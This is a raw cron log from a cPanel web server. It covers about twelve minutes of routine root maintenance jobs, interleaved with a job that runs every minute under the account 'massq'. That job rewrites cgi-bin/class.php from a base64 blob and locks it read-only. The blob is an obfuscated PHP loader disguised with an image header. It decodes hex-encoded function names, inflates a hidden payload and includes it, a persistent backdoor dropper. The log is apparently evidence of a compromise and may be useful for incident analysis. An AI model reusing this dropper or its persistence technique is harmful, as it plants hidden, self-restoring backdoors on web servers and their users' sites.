Sep  9 09:38:01 server CROND[29871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:38:01 server CROND[29872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:38:01 server CROND[29873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:39:01 server CROND[30328]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 09:39:01 server CROND[30329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:39:01 server CROND[30330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:39:01 server CROND[30331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:40:01 server CROND[30737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:40:01 server CROND[30741]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:40:01 server CROND[30760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:40:01 server CROND[30762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:40:01 server CROND[30759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:40:01 server CROND[30764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:40:01 server CROND[30763]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:40:01 server CROND[30767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:41:01 server CROND[31571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:41:01 server CROND[31572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:41:01 server CROND[31575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:42:01 server CROND[31942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:42:01 server CROND[31943]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 09:42:01 server CROND[31944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:42:01 server CROND[31945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:43:01 server CROND[32315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:43:01 server CROND[32316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:43:01 server CROND[32317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:44:01 server CROND[321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:44:01 server CROND[322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:44:01 server CROND[323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:45:01 server CROND[724]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:45:01 server CROND[732]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:45:01 server CROND[733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:45:01 server CROND[735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:45:01 server CROND[737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:45:01 server CROND[734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:45:01 server CROND[744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:46:01 server CROND[1658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:46:01 server CROND[1659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:46:01 server CROND[1660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:47:01 server CROND[2080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:47:01 server CROND[2081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:47:01 server CROND[2082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:48:01 server CROND[2458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:48:01 server CROND[2459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:48:01 server CROND[2460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:49:01 server CROND[2883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:49:01 server CROND[2884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:49:01 server CROND[2885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:50:01 server CROND[3384]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:50:01 server CROND[3386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:50:01 server CROND[3391]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 09:50:01 server CROND[3390]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
